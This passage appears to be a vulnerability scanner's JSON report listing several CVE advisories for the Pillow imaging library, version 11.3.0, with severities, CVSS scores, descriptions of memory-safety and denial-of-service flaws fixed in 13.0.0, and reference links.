fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-78", "CWE-88" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112900", "https://advisory.echohq.com/cve/CVE-2026-112900", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-11431/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh", "https://linux.oracle.com/cve/CVE-2026-112900.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112900", "https://www.cve.org/CVERecord?id=CVE-2026-112900" ], "PublishedDate": "2026-10-19T22:17:10.16Z", "LastModifiedDate": "2026-10-27T14:55:00.937Z" }, { "VulnerabilityID": "CVE-2026-96639", "VendorIDs": [ "GHSA-v9pv-5gc8-w2m6" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96639", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:dd06722793b1c6a9d2cffab143ba4bed2e4b47328f5dc9d0cc5e804926b2c9cf", "Title": "pillow: Pillow multi-frame loaders can reuse stale native image storage after mode transitions", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "redhat": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96639", "https://advisory.echohq.com/cve/CVE-2026-96639", "https://github.com/advisories/GHSA-v9pv-5gc8-w2m6", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a", "https://github.com/python-pillow/Pillow/pull/10105", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6", "https://nvd.nist.gov/vuln/detail/CVE-2026-96639", "https://www.cve.org/CVERecord?id=CVE-2026-96639" ], "PublishedDate": "2026-10-21T21:20:32.217Z", "LastModifiedDate": "2026-10-29T11:17:39.023Z" }, { "VulnerabilityID": "CVE-2026-112390", "VendorIDs": [ "GHSA-22hg-r758-rrw9" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112390", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:cfc9351b6dc0cbdfc111483c34964c965f438f38ea10ec5d4e1cfac0962acfd7", "Title": "pillow: Pillow: Denial of Service via infinite loop during crafted MIC image parsing", "Description": "Pillow is a Python imaging library. From 7.2.0 until 13.0.0, Pillow can enter an infinite loop while determining the frame count of a MIC image. MicImageFile inherits TIFF frame traversal, but MicImageFile.tell reports the OLE stream index and its seek() resets TIFF frame state, so an embedded TIFF with at least three IFDs never advances. When an application with olefile installed reads n_frames or saves all frames from a crafted MIC file, the non-advancing traversal can hold a worker at full CPU indefinitely. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112390", "https://advisory.echohq.com/cve/CVE-2026-112390", "https://getsafety.com/v/SFTY-20261021-15476/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112390", "https://www.cve.org/CVERecord?id=CVE-2026-112390" ], "PublishedDate": "2026-10-19T21:17:07.34Z", "LastModifiedDate": "2026-10-23T17:01:18.697Z" }, { "VulnerabilityID": "CVE-2026-112392", "VendorIDs": [ "GHSA-27h8-gf7j-v5hc" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112392", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5273448d2ef3162c3a1e8f4a63b6cdb182915701c5ca17fd404a2047695644f1", "Title": "pillow: pillow: Denial of Service via zero-size images in rank filters", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112392", "https://advisory.echohq.com/cve/CVE-2026-112392", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-39022/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc", "https://linux.oracle.com/cve/CVE-2026-112392.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112392", "https://www.cve.org/CVERecord?id=CVE-2026-112392" ], "PublishedDate": "2026-10-19T22:17:06.587Z", "LastModifiedDate": "2026-10-26T20:52:03.5Z" }, { "VulnerabilityID": "CVE-2026-112397", "VendorIDs": [ "GHSA-58r4-6rv3-gfh8" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112397", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ba35b04169c5f911b685cb615b871836f10e3279d49fc657d0e3d90649a9609e", "Title": "pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112397", "https://advisory.echohq.com/cve/CVE-2026-112397", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8", "https://linux.oracle.com/cve/CVE-2026-112397.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112397", "https://www.cve.org/CVERecord?id=CVE-2026-112397" ], "PublishedDate": "2026-10-19T22:17:06.97Z", "LastModifiedDate": "2026-10-27T21:00:11.173Z" }, { "VulnerabilityID": "CVE-2026-112399", "VendorIDs": [ "GHSA-5xm2-6676-qcp9" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112399", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0ead5ef81fe7636252c8da2940965ab7a71e0bfa2feecd1b1f0c573834dd2e14", "Title": "pillow: pillow: Denial of service via crafted APNG image", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow can allocate an APNG disposal background at the full canvas size before applying the decompression-bomb check. A crafted APNG with a small first frame, a very large declared canvas, and background disposal or first-frame OP_PREVIOUS reaches PngImageFile._seek while Image.open() positions frame zero. The full-canvas allocation occurs inside Image.open() without requiring pixel loading or frame iteration. This can exhaust memory and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112399", "https://advisory.echohq.com/cve/CVE-2026-112399", "https://getsafety.com/v/SFTY-20261021-76942/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112399", "https://www.cve.org/CVERecord?id=CVE-2026-112399" ], "PublishedDate": "2026-10-19T22:17:07.24Z", "LastModifiedDate": "2026-10-28T16:17:02.13Z" }, { "VulnerabilityID": "CVE-2026-112400", "VendorIDs": [ "GHSA-65qm-jvmh-6pqg" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112400", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f12521a9daf1e1feb4d9ccdd113ba0dc5140b483bc228aeaf474a6e39688140b", "Title": "pillow: pillow: Denial of Service via memory exhaustion from crafted GIF image", "Description": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112400", "https://advisory.echohq.com/cve/CVE-2026-112400", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112400", "https://www.cve.org/CVERecord?id=CVE-2026-112400" ], "PublishedDate": "2026-10-19T22:17:07.367Z", "LastModifiedDate": "2026-10-27T21:02:32.24Z" }, { "VulnerabilityID": "CVE-2026-112402", "VendorIDs": [ "GHSA-7mwm-ghpf-9vrm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112402", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:360f9bf1de18ba301902ccf2a2a273872d05a71d574e60c69eab5685182346f1", "Title": "pillow: pillow: Denial of service via double free during image transformation", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112402", "https://advisory.echohq.com/cve/CVE-2026-112402", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-43268/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm", "https://linux.oracle.com/cve/CVE-2026-112402.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112402", "https://www.cve.org/CVERecord?id=CVE-2026-112402" ], "PublishedDate": "2026-10-19T22:17:07.633Z", "LastModifiedDate": "2026-10-27T21:03:13.88Z" }, { "VulnerabilityID": "CVE-2026-112404", "VendorIDs": [ "GHSA-c6hw-5grf-ff96" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112404", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1bf2351373d81bd4c287a3d6f5b4d5c67860905307cd28c411edff7f37b246b0", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF decoding", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow's TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, 